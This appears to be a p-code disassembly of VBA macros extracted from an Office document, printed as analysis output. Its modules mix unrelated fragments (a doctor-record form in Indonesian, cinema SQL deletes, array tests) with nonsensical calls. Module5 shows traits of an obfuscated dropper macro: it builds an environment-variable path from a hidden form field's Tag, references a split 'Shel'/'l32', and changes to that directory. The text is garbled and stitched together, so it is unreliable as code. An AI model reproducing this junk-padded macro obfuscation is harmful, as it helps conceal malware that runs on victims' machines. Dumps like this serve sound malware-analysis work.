' 	UMi
' 	LitR8 0x0000 0x0000 0x0000 0x3FD0
' 	UMi
' 	ForStep
' Line #147:
' 	LitDI2 0x0006
' 	Ld I
' 	Add
' 	St PChannel
' Line #148:
' 	StartForVariable
' 	Ld HSP
' 	EndForVariable
' 	NextVar
' Line #149:
' 	LitDI2 0x0006
' 	Ld I
' 	Add
' 	St PChannel
' Line #150:
' 	EndSub
' Line #151:
' Line #152:
' Line #153:
' Line #154:
' Line #155:
' 	FuncDefn (Private Sub cmd_Keluar_Click())
' Line #156:
' 	Ld LSD
' 	MemLd Me
' 	ArgsCall Unload 0x0001
' Line #157:
' 	LitVarSpecial (True)
' 	Ld MDIForm1
' 	MemLd dokter
' 	MemSt Enabled
' Line #158:
' 	LitVarSpecial (False)
' 	Ld MDIForm1
' 	MemLd dokter
' 	MemSt Checked
' Line #159:
' 	EndSub
' Line #160:
' Line #161:
' 	FuncDefn (Private Sub cmd_Perbaiki_Click())
' Line #162:
' 	Ld cmd_Perbaiki
' 	MemLd Caption
' 	LitStr 0x0009 "Pe&rbaiki"
' 	Eq
' 	IfBlock
' Line #163:
' 	LitVarSpecial (False)
' 	Ld cmd_Simpan
' 	MemSt Enabled
' Line #164:
' 	LitVarSpecial (False)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #165:
' 	LitVarSpecial (True)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #166:
' 	Dim
' 	VarDefn var (As String)
' Line #167:
' 	LitStr 0x0034 "Ketikkan kode dokter yang datanya akan di perbaiki !"
' 	LitStr 0x0014 "Perbaiki Data dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #168:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #169:
' 	LitStr 0x000B "Kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #170:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #171:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #172:
' 	Ld tam
' 	ArgsMemCall (Call) tam 0x0000
' Line #173:
' 	LitVarSpecial (False)
' 	Ld pil
' 	MemSt Enabled
' Line #174:
' 	LitVarSpecial (True)
' 	Ld txtkd_dok
' 	MemSt Enabled
' Line #175:
' 	LitStr 0x0010 "&Perbaharui data"
' 	Ld cmd_Perbaiki
' 	MemSt Caption
' Line #176:
' 	ElseBlock
' Line #177:
' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #178:
' 	EndIfBlock
' Line #179:
' 	ElseBlock
' Line #180:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall txtnm_dok 0x0000
' Line #181:
' 	Ld pil
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt Edit
' Line #182:
' 	Ld txtkd_dok
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt kode_dokter
' Line #183:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall nama_dokter 0x0000
' Line #184:
' 	Ld Update
' 	ArgsMemCall (Call) ber 0x0000
' Line #185:
' 	LitStr 0x0009 "Pe&rbaiki"
' 	Ld cmd_Perbaiki
' 	MemSt Caption
' Line #186:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #187:
' 	LitVarSpecial (True)
' 	Ld cmd_Simpan
' 	MemSt Enabled
' Line #188:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #189:
' 	Ld sih
' 	ArgsMemCall (Call) tdk_bi 0x0000
' Line #190:
' 	EndIfBlock
' Line #191:
' 	EndSub
' Line #192:
' Line #193:
' 	FuncDefn (Private Sub sa())
' Line #194:
' 	Ld cmd_Simpan
' 	MemLd Caption
' 	LitStr 0x0009 "&Isi Data"
' 	Eq
' 	IfBlock
' Line #195:
' 	Ld cmd_Simpan_Click
' 	ArgsMemCall (Call) bis 0x0000
' Line #196:
' 	Ld A
' 	ArgsMemCall Or 0x0000
' Line #197:
' 	Ld nom
' 	MemLd M
' 	MemLd txtkd_dok
' 	ArgsMemCall SetFocus 0x0000
' Line #198:
' 	LitVarSpecial (True)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #199:
' 	LitVarSpecial (False)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #200:
' 	LitVarSpecial (False)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #201:
' 	LitVarSpecial (False)
' 	Ld e
' 	MemSt Enabled
' Line #202:
' 	LitStr 0x000C "&Simpan Data"
' 	Ld cmd_Simpan
' 	MemSt Caption
' Line #203:
' 	ElseBlock
' Line #204:
' 	LineCont 0x0004 07 00 08 00
' 	Ld pil
' 	MemLd Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Ld txtkd_dok
' 	MemLd Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Or
' 	IfBlock
' Line #205:
' 	LitStr 0x0019 "Data tidak boleh kosong !"
' 	Ld vbCritical
' 	LitStr 0x0017 "SISTEM PENJUALAN KREDIT"
' 	ArgsCall MsgBox 0x0003
' Line #206:
' 	Ld pil
' 	ArgsMemCall SetFocus 0x0000
' Line #207:
' 	ElseBlock
' Line #208:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #209:
' 	LitVarSpecial (True)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #210:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #211:
' 	LitVarSpecial (True)
' 	Ld e
' 	MemSt Enabled
' Line #212:
' 	Ld pil
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt Edit
' Line #213:
' 	Ld txtkd_dok
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt kode_dokter
' Line #214:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall nama_dokter 0x0000
' Line #215:
' 	Ld Update
' 	ArgsMemCall (Call) ber 0x0000
' Line #216:
' 	LitStr 0x0009 "&Isi Data"
' 	Ld cmd_Simpan
' 	MemSt Caption
' Line #217:
' 	EndIfBlock
' Line #218:
' 	EndIfBlock
' Line #219:
' 	EndSub
' Line #220:
' Line #221:
' Line #222:
' Line #223:
' 	FuncDefn (Function cmd_cari(ByVal retVal As Variant) As Variant)
' Line #224:
' 	Ld retVal
' 	LitDI2 0x0000
' 	Ne
' 	IfBlock
' Line #225:
' 	Ld retVal
' 	St cmd_cari
' Line #226:
' 	ElseBlock
' Line #227:
' 	LitStr 0x0000 ""
' 	St cmd_cari
' Line #228:
' 	EndIfBlock
' Line #229:
' Line #230:
' 	EndFunc
' Line #231:
' Line #232:
' 	FuncDefn (Function v() As AddressOf)
' Line #233:
' 	Dim
' 	VarDefn getFile (As String)
' Line #234:
' 	Dim
' 	OptionBase
' 	LitDI2 0x03E8
' 	VarDefn s (As String)
' Line #235:
' 	Dim
' 	VarDefn sl
' Line #236:
' 	Dim
' 	VarDefn I (As Integer)
' Line #237:
' 	Ld s
' 	Erase 0x0001
' Line #238:
' 	LitDI2 0x0000
' 	St I
' Line #239:
' 	StartForVariable
' 	Ld sl
' 	EndForVariable
' 	LitStr 0x0007 "B1:B100"
' 	LitStr 0x0006 "Sheet1"
' 	ArgsLd r 0x0001
' 	ArgsMemLd Range 0x0001
' 	ForEach
' Line #240:
' 	Ld sl
' 	MemLd Value
' 	St getFile
' Line #241:
' 	Ld getFile
' 	LitStr 0x0000 ""
' 	Ne
' 	IfBlock
' Line #242:
' 	Ld I
' 	LitDI2 0x0001
' 	Add
' 	St I
' Line #243:
' 	Ld getFile
' 	Ld I
' 	ArgsSt s 0x0001
' Line #244:
' 	EndIfBlock
' Line #245:
' 	StartForVariable
' 	Ld sl
' 	EndForVariable
' 	NextVar
' Line #246:
' 	ArgsLd s 0x0000
' 	St v
' Line #247:
' 	EndFunc
' Line #248:
' Line #249:
' Line #250:
' Line #251:
' 	LineCont 0x000C 0D 00 00 00 10 00 00 00 17 00 00 00
' 	ConstFuncExpr
' 	LitNothing
' 	LitNothing
' 	FuncDefn (Function Worksheets(ByVal Text As String, ByVal MatchRegExp As String, Optional MatchWord, Optional CaseCompare As Object, Optional RegExp As Object) As Boolean)
' Line #252:
' Line #253:
' 	OnError Err
' 	BoS 0x0000
' Line #254:
' 	Dim
' 	VarDefn Match (As Boolean)
' Line #255:
' 	LitVarSpecial (False)
' 	St Match
' Line #256:
' 	Do
' Line #257:
' 	Ld MatchRegExp
' 	LitStr 0x0000 ""
' 	Eq
' 	Paren
' 	Ld Text
' 	LitStr 0x0000 ""
' 	Eq
' 	Paren
' 	Or
' 	If
' 	BoSImplicit
' 	ExitDo
' 	EndIf
' Line #258:
' Line #259:
' 	Dim
' 	VarDefn result (As Boolean)
' Line #260:
' 	LitVarSpecial (False)
' 	St result
' Line #261:
' 	Ld CaseCompare
' 	LitNothing
' 	Is
' 	IfBlock
' Line #262:
' 	LitVarSpecial (True)
' 	St result
' Line #263:
' 	SetStmt
' 	LitStr 0x000F "VBScript.RegExp"
' 	ArgsLd RegCreateFlag 0x0001
' 	Set CaseCompare
' Line #264:
' 	EndIfBlock
' Line #265:
' Line #266:
' 	Ld MatchRegExp
' 	Ld CaseCompare
' 	MemSt CreateObject
' Line #267:
' 	LitVarSpecial (True)
' 	Ld CaseCompare
' 	MemSt Global
' Line #268:
' 	Ld MatchWord
' 	Ld Pattern
' 	Eq
' 	Ld CaseCompare
' 	MemSt Pattern
' Line #269:
' 	SetStmt
' 	Ld Text
' 	Ld CaseCompare
' 	ArgsMemLd IgnoreCase 0x0001
' 	Set RegExp
' Line #270:
' 	LitDI2 0x0001
' 	Ld RegExp
' 	MemLd Count
' 	Le
' 	IfBlock
' Line #271:
' 	LitVarSpecial (True)
' 	St Match
' Line #272:
' 	EndIfBlock
' Line #273:
' Line #274:
' 	Ld result
' 	IfBlock
' Line #275:
' 	SetStmt
' 	LitNothing
' 	Set CaseCompare
' Line #276:
' 	EndIfBlock
' Line #277:
' Line #278:
' 	LitVarSpecial (False)
' 	LoopWhile
' Line #279:
' 	Ld Match
' 	St Worksheets
' Line #280:
' 	ExitFunc
' Line #281:
' 	Label Err
' Line #282:
' 	LitVarSpecial (False)
' 	St Worksheets
' Line #283:
' 	EndFunc
' Line #284:
' 	FuncDefn (Private Sub Execute())
' Line #285:
' 	Dim
' 	VarDefn testArrayAddArray
' Line #286:
' 	LitStr 0x0001 "A"
' 	LitStr 0x0001 "B"
' 	LitStr 0x0001 "C"
' 	ArgsArray Array 0x0003
' 	St testArrayAddArray
' Line #287:
' 	Dim
' 	VarDefn A1
' Line #288:
' 	LitStr 0x0001 "D"
' 	LitStr 0x0001 "E"
' 	ArgsArray Array 0x0002
' 	St A1
' Line #289:
' Line #290:
' 	Ld testArrayAddArray
' 	Ld A1
' 	Ld A2
' 	ArgsMemCall (Call) ArrayA 0x0002
' Line #291:
' 	LitDI2 0x0005
' 	Ld testArrayAddArray
' 	Ld Check
' 	ArgsMemLd ArrayC 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #292:
' 	LitStr 0x0001 "D"
' 	LitDI2 0x0003
' 	ArgsLd testArrayAddArray 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #293:
' 	LitStr 0x0001 "E"
' 	LitDI2 0x0004
' 	ArgsLd testArrayAddArray 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #294:
' Line #295:
' 	QuoteRem 0x0004 0x000B "???????????"
' Line #296:
' 	Dim
' 	VarDefn ount
' Line #297:
' 	Dim
' 	VarDefn B1
' Line #298:
' 	LitStr 0x0001 "1"
' 	LitStr 0x0001 "2"
' 	ArgsArray Array 0x0002
' 	St B1
' Line #299:
' 	Ld ount
' 	Ld B1
' 	Ld A2
' 	ArgsMemCall (Call) ArrayA 0x0002
' Line #300:
' 	LitDI2 0x0002
' 	Ld ount
' 	Ld Check
' 	ArgsMemLd ArrayC 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #301:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0000
' 	ArgsLd ount 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #302:
' 	LitStr 0x0001 "2"
' 	LitDI2 0x0001
' 	ArgsLd ount 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #303:
' Line #304:
' Line #305:
' 	EndSub
' Line #306:
' 	LineCont 0x0004 08 00 00 00
' 	FuncDefn (Sub B2(ByRef ArrayInsert As Variant, ByVal Index As Long, ByVal Value As Variant))
' Line #307:
' 	Ld ArrayInsert
' 	ArgsLd ArrayValue 0x0001
' 	LitStr 0x002A "Error:ArrayInsert:ArrayValue is not Array."
' 	ArgsCall (Call) Assert 0x0002
' Line #308:
' 	LineCont 0x0004 12 00 08 00
' 	Ld ArrayInsert
' 	FnLBound 0x0000
' 	Ld Index
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	ArgsLd IsArray 0x0003
' 	LitStr 0x0023 "Error:ArrayInsert:Index Range Over."
' 	ArgsCall (Call) Assert 0x0002
' Line #309:
' Line #310:
' 	Ld ArrayInsert
' 	FnLBound 0x0000
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	LitDI2 0x0001
' 	Add
' 	Redim (Preserve) ArrayInsert 0x0001 (As Variant)
' Line #311:
' 	Dim
' 	VarDefn I (As Long)
' Line #312:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	Ld ArrayInsert
' 	FnUBound 0x0000
' 	Ld Index
' 	LitDI2 0x0001
' 	Add
' 	LitDI2 0x0001
' 	UMi
' 	ForStep
' Line #313:
' 	Ld I
' 	ArgsLd ArrayInsert 0x0001
' 	Ld I
' 	LitDI2 0x0001
' 	Sub
' 	ArgsLd ArrayInsert 0x0001
' 	ArgsCall (Call) InRange 0x0002
' Line #314:
' 	StartForVariable
' 	Next
' Line #315:
' 	Ld Index
' 	ArgsLd ArrayInsert 0x0001
' 	Ld Value
' 	ArgsCall (Call) InRange 0x0002
' Line #316:
' 	EndSub
' Line #317:
' 	LineCont 0x000C 04 00 00 00 09 00 00 00 0E 00 00 00
' 	FuncDefn (Public Function IsArray(ByVal SetValue As Long, ByVal Value As Long, ByVal MinValue As Long) As Boolean)
' Line #318:
' Line #319:
' 	Ld SetValue
' 	Ld Value
' 	Le
' 	Paren
' 	Ld Value
' 	Ld MinValue
' 	Le
' 	Paren
' 	And
' 	Paren
' 	St IsArray
' Line #320:
' Line #321:
' 	EndFunc
' Line #322:
' 	FuncDefn (Private Sub MaxValue())
' Line #323:
' 	Dim
' 	VarDefn bis
' Line #324:
' 	LitStr 0x0001 "A"
' 	LitStr 0x0001 "B"
' 	LitStr 0x0001 "C"
' 	ArgsArray Array 0x0003
' 	St bis
' Line #325:
' Line #326:
' 	LitStr 0x0001 "B"
' 	LitDI2 0x0001
' 	ArgsLd bis 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #327:
' 	LitDI2 0x0003
' 	Ld bis
' 	ArgsLd testArrayInsert 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #328:
' 	Ld bis
' 	LitDI2 0x0001
' 	LitStr 0x0001 "1"
' 	ArgsCall (Call) B2 0x0003
' Line #329:
' 	LitDI2 0x0004
' 	Ld bis
' 	ArgsLd testArrayInsert 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #330:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0001
' 	ArgsLd bis 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #331:
' Line #332:
' 	Dim
' 	VarDefn B
' Line #333:
' 	OptionBase
' 	LitDI2 0x0002
' 	Redim B 0x0001 (As Variant)
' Line #334:
' 	SetStmt
' 	LitStr 0x000F "VBScript.RegExp"
' 	ArgsLd RegCreateFlag 0x0001
' 	LitDI2 0x0000
' 	ArgsSet B 0x0001
' Line #335:
' 	SetStmt
' 	LitNothing
' 	LitDI2 0x0002
' 	ArgsSet B 0x0001
' Line #336:
' 	Ld ArrayCount
' 	MemLd Shel
' 	MemLd l32
' 	LitDI2 0x0001
' 	ArgsLd B 0x0001
' 	MemLd l32
' 	ArgsCall (Call) ddArray 0x0002
' Line #337:
' 	Ld B
' 	LitDI2 0x0001
' 	Ld CurrentDirectory
' 	ArgsCall (Call) B2 0x0003
' Line #338:
' 	LitStr 0x0008 "test.txt"
' 	LitStr 0x0010 "C:\temp\test.txt"
' 	LitDI2 0x0001
' 	ArgsLd B 0x0001
' 	ArgsMemLd fso 0x0001
' 	ArgsCall (Call) ddArray 0x0002
' Line #339:
' 	EndSub
' Line #340:
' 	FuncDefn (Public Sub Assert(ByVal Value As Boolean, Optional ByVal GetFileName As String))
' Line #341:
' 	Ld Value
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #342:
' 	LitDI2 0x270F
' 	ParamOmitted
' 	Ld GetFileName
' 	Ld Err
' 	ArgsMemCall (Call) Raise 0x0003
' Line #343:
' 	EndIfBlock
' Line #344:
' 	EndSub
' Line #345:
' 	FuncDefn (Public Sub InRange(ByRef Message, ByVal Value))
' Line #346:
' 	Ld Value
' 	ArgsLd Variable 0x0001
' 	IfBlock
' Line #347:
' 	SetStmt
' 	Ld Value
' 	Set Message
' Line #348:
' 	ElseBlock
' Line #349:
' 	Ld Value
' 	St Message
' Line #350:
' 	EndIfBlock
' Line #351:
' 	EndSub
' Line #352:
' 	LineCont 0x0004 09 00 00 00
' 	ConstFuncExpr
' 	LitDI2 0x0001
' 	FuncDefn (Public Function testArrayInsert(ByRef ArrayInsert As Variant, Optional IsObject) As Long)
' Line #353:
' 	Ld ArrayInsert
' 	ArgsLd ArrayValue 0x0001
' 	LitStr 0x0029 "Error:ArrayCount:ArrayValue is not Array."
' 	ArgsCall (Call) Assert 0x0002
' Line #354:
' Line #355:
' 	LineCont 0x0008 02 00 08 00 0B 00 08 00
' 	Ld ArrayInsert
' 	Ld IsObject
' 	Ld Dimension
' 	ArgsMemLd Error 0x0002
' 	Ld ArrayInsert
' 	Ld IsObject
' 	Ld UBoundNo
' 	ArgsMemLd Error 0x0002
' 	Sub
' 	LitDI2 0x0001
' 	Add
' 	St testArrayInsert
' Line #356:
' 	EndFunc
' Line #357:
' 	FuncDefn (Private Sub LBoundNo())
' Line #358:
' 	LitVarSpecial (False)
' 	LitStr 0x0003 "???"
' 	ArgsCall (Call) Assert 0x0002
' Line #359:
' 	EndSub
' Line #360:
' Line #361:
' 	FuncDefn (Public Function ddArray(ByVal bis As Variant, ByVal B As Variant) As Boolean)
' Line #362:
' 	Ld bis
' 	Ld B
' 	Eq
' 	Paren
' 	St ddArray
' Line #363:
' 	Ld ddArray
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #364:
' 	LineCont 0x0008 07 00 0C 00 10 00 0C 00
' 	LitStr 0x0006 "A != B"
' 	Ld testAssert
' 	Add
' 	LitStr 0x0004 "A = "
' 	Add
' 	Ld bis
' 	Coerce (Str)
' 	Add
' 	Ld testAssert
' 	Add
' 	LitStr 0x0004 "B = "
' 	Add
' 	Ld B
' 	Coerce (Str)
' 	Add
' 	ArgsCall (Call) MsgBox 0x0001
' Line #365:
' 	EndIfBlock
' Line #366:
' 	EndFunc
' Line #367:
' Line #368:
' Line #369:
' Line #370:
' Line #371:
' Line #372:
' Line #373:
' Line #374:
' Line #375:
' Line #376:
' Line #377:
' Line #378:
' Line #379:
' _VBA_PROJECT_CUR/VBA/UserForm1 - 1175 bytes
' _VBA_PROJECT_CUR/VBA/Module5 - 7874 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Function RedButton(vbCrLf As Double))
' Line #2:
' Line #3:
' 	LitStr 0x0007 "DosTres"
' 	St dImmer
' Line #4:
' Line #5:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (False)
' 	Ne
' 	IfBlock
' Line #6:
' 	ExitFunc
' Line #7:
' 	EndIfBlock
' Line #8:
' 	LitDI2 0x0003
' 	St DosTres
' Line #9:
' 	Ld DosTres
' 	LitDI2 0x0001
' 	Sub
' 	St DosTres
' Line #10:
' Line #11:
' 	SetStmt
' 	New Lumene
' 	Set car
' Line #12:
' 	SetStmt
' 	New <crash>
' 	Set reqPlace
' Line #13:
' 	Ld DosTres
' 	SelectCase
' Line #14:
' 	LitDI2 0x0000
' 	Case
' 	CaseDone
' Line #15:
' 	LitStr 0x0011 "N health problems"
' 	St getFile
' Line #16:
' 	LitDI2 0x0001
' 	Case
' 	CaseDone
' Line #17:
' 	LitStr 0x0015 "Minor health problems"
' 	St getFile
' Line #18:
' Line #19:
' 	LitDI2 0x0003
' 	Case
' 	CaseDone
' Line #20:
' 	LitStr 0x0012 "Sev ere disability"
' 	St getFile
' Line #21:
' 	EndSelect
' Line #22:
' Line #23:
' 	Dim
' 	VarDefn WshShell (As String)
' Line #24:
' Line #25:
' 	LitStr 0x0001 "%"
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	Concat
' 	St SpecialPath
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' 	Ld SpecialPath
' 	St PRP
' Line #30:
' 	Ld PRP
' 	LitStr 0x0000 ""
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	St PRP
' Line #31:
' 	Ld PRP
' 	LitStr 0x0001 "%"
' 	Add
' 	St PRP
' Line #32:
' 	Ld PRP
' 	Ld reqPlace
' 	ArgsMemLd TBT 0x0001
' 	St PRP
' Line #33:
' Line #34:
' 	LitDI2 0x0000
' 	St ExpandEnvironmentStrings
' Line #35:
' 	LitDI2 0x0000
' 	St firstWeek
' Line #36:
' 	Dim
' 	VarDefn firstDay (As Date)
' Line #37:
' 	Ld PRP
' 	Ld Form0
' 	MemLd TextBox1
' 	MemSt Tag
' Line #38:
' 	LitDI2 0x0002
' 	St firstWeek
' Line #39:
' Line #40:
' 	LitDI2 0x0004
' 	St firstdate
' Line #41:
' 	Dim
' 	VarDefn lastDay (As Date)
' Line #42:
' 	LitDI2 0x0000
' 	St lastdate
' Line #43:
' 	LitDI2 0x0000
' 	St firstdate
' Line #44:
' Line #45:
' 	Ld reqPlace
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd lastWeek
' 	LitStr 0x0000 ""
' 	Concat
' 	Ld car
' 	ArgsMemLd CheckCar 0x0002
' 	St getFile
' Line #46:
' 	LitDI2 0x0001
' 	St ExpandEnvironmentStrings
' Line #47:
' Line #48:
' 	LitDI2 0x0003
' 	St lastdate
' Line #49:
' 	Ld getFile
' 	Ld Form0
' 	MemLd TextBox3
' 	MemSt Tag
' Line #50:
' Line #51:
' Line #52:
' 	Ld firstWeek
' 	LitDI2 0x0001
' 	Eq
' 	Not
' 	IfBlock
' Line #53:
' 	Ld firstDay
' 	LitDI2 0x0008
' 	Ld firstWeek
' 	Sub
' 	Paren
' 	Add
' 	St firstDay
' Line #54:
' 	Ld ExpandEnvironmentStrings
' 	LitDI2 0x0001
' 	Add
' 	St ExpandEnvironmentStrings
' Line #55:
' 	EndIfBlock
' Line #56:
' 	Ld firstdate
' 	LitDI2 0x0006
' 	Eq
' 	IfBlock
' Line #57:
' 	Ld lastDay
' 	LitDI2 0x0001
' 	Add
' 	St lastDay
' Line #58:
' 	Ld firstdate
' 	LitDI2 0x0001
' 	Add
' 	St firstdate
' Line #59:
' 	Ld firstdate
' 	LitDI2 0x0007
' 	Eq
' 	Not
' 	ElseIfBlock
' Line #60:
' 	Ld lastDay
' 	Ld firstdate
' 	Sub
' 	St lastDay
' Line #61:
' 	LitDI2 0x0007
' 	St firstdate
' Line #62:
' 	Ld lastdate
' 	LitDI2 0x0001
' 	Sub
' 	St lastdate
' Line #63:
' 	EndIfBlock
' Line #64:
' Line #65:
' Line #66:
' 	LitDI2 0x0000
' 	St ControlTipText
' Line #67:
' Line #68:
' Line #69:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	LitStr 0x0000 ""
' 	Add
' 	Paren
' 	ArgsCall ChDir 0x0001
' Line #70:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (False)
' 	Eq
' 	IfBlock
' Line #71:
' 	Ld WelcomeDialog
' 	ArgsMemCall Iteration 0x0000
' Line #72:
' 	EndIfBlock
' Line #73:
' Line #74:
' 	EndFunc
' Line #75:
' Line #76:
' Line #77:
' Line #78:
' Line #79:
' Line #80:
' Line #81:
' Line #82:
' 	FuncDefn (Private Sub Show())
' Line #83:
' 	LitStr 0x0009 "?????????"
' 	Ld Command7_Click
' 	ArgsLd MsgBox 0x0002
' 	St B
' Line #84:
' 	Ld B
' 	Ld vbYesNo
' 	Eq
' 	IfBlock
' Line #85:
' 	LitStr 0x0020 "delete from cinema where cinid='"
' 	St bis
' Line #86:
' 	Ld bis
' 	Ld vbYes
' 	MemLd Text
' 	Add
' 	LitStr 0x0001 "'"
' 	Add
' 	St bis
' Line #87:
' 	Ld bis
' 	Ld Text1
' 	ArgsMemCall IgnoreCase 0x0001
' Line #88:
' 	Ld cnmovie
' 	ArgsMemCall Close 0x0000
' Line #89:
' 	LitStr 0x0014 "select * from cinema"
' 	St rs4
' Line #90:
' 	Ld rs4
' 	Ld Text1
' 	Ld Sql
' 	Ld adOpenDynamic
' 	Ld cnmovie
' 	ArgsMemCall Open 0x0004
' Line #91:
' 	Ld rs
' 	MemLd adLockOptimistic
' 	Ld rs
' 	MemLd EOF
' 	Or
' 	IfBlock
' Line #92:
' 	LitStr 0x0006 "?????!"
' 	ArgsCall MsgBox 0x0001
' Line #93:
' 	ElseBlock
' Line #94:
' 	Ld cnmovie
' 	ArgsMemCall BOF 0x0000
' Line #95:
' 	Ld MoveFirst
' 	ArgsMemCall (Call) View 0x0000
' Line #96:
' 	EndIfBlock
' Line #97:
' 	EndIfBlock
' Line #98:
' 	EndSub
' Line #99:
' Line #100:
' Line #101:
' Line #102:
' Line #103:
' 	FuncDefn (Private Sub Data())
' Line #104:
' 	Dim
' 	LitDI2 0x0005
' 	VarDefn nomor
' Line #105:
' 	Dim
' 	VarDefn urutan (As Byte)
' Line #106:
' Line #107:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd hitung
' 	LitDI2 0x0000
' 	Eq
' 	IfBlock
' Line #108:
' 	LitStr 0x0002 "Dr"
' 	LitStr 0x0003 "001"
' 	Concat
' 	St nomor
' Line #109:
' 	ElseBlock
' Line #110:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall RecordCount 0x0000
' Line #111:
' 	Ld Data1
' 	MemLd Recordset
' 	DictLd Edit
' 	LitDI2 0x0003
' 	ArgsLd Left 0x0002
' 	ArgsLd MoveLast 0x0001
' 	LitStr 0x0003 "000"
' 	Ne
' 	IfBlock
' Line #112:
' 	LitStr 0x0002 "00"
' 	LitStr 0x0003 "001"
' 	Concat
' 	St nomor
' Line #113:
' 	ElseBlock
' Line #114:
' 	Ld Data1
' 	MemLd Recordset
' 	DictLd Edit
' 	LitDI2 0x0003
' 	ArgsLd Val 0x0002
' 	ArgsLd MoveLast 0x0001
' 	LitDI2 0x0001
' 	Add
' 	St urutan
' Line #115:
' 	LitStr 0x0002 "Dr"
' 	LitStr 0x0003 "000"
' 	Ld urutan
' 	Concat
' 	LitDI2 0x0003
' 	ArgsLd Val 0x0002
' 	Concat
' 	St nomor
' Line #116:
' 	EndIfBlock
' Line #117:
' 	EndIfBlock
' Line #118:
' 	Ld nomor
' 	Ld nom
' 	MemLd M
' 	MemSt pil
' Line #119:
' Line #120:
' 	EndSub
' Line #121:
' Line #122:
' 	FuncDefn (Private Sub Right())
' Line #123:
' 	Ld cmd_Batal_Click
' 	ArgsMemCall (Call) be 0x0000
' Line #124:
' 	Ld rsih
' 	ArgsMemCall (Call) td 0x0000
' Line #125:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #126:
' 	LitVarSpecial (True)
' 	Ld cmd_Perbaiki
' 	MemSt Enabled
' Line #127:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #128:
' 	LitVarSpecial (True)
' 	Ld e
' 	MemSt Enabled
' Line #129:
' 	EndSub
' Line #130:
' Line #131:
' 	FuncDefn (Private Sub k_bisa())
' Line #132:
' 	Dim
' 	VarDefn var (As String)
' Line #133:
' 	LitStr 0x0029 "Masukan Kode Dokter yang ingin anda cari!"
' 	LitStr 0x0010 "Cari data dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #134:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #135:
' 	Ld var
' 	LitStr 0x0000 ""
' 	Ne
' 	IfBlock
' Line #136:
' 	LitStr 0x000B "kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #137:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #138:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #139:
' 	Ld tam
' 	ArgsMemCall (Call) tam 0x0000
' Line #140:
' 	Ld cmd_cari_Click
' 	ArgsMemCall (Call) tdk_bi 0x0000
' Line #141:
' 	Ld bi
' 	ArgsMemCall (Call) kun 0x0000
' Line #142:
' 	ElseBlock
' Line #143:
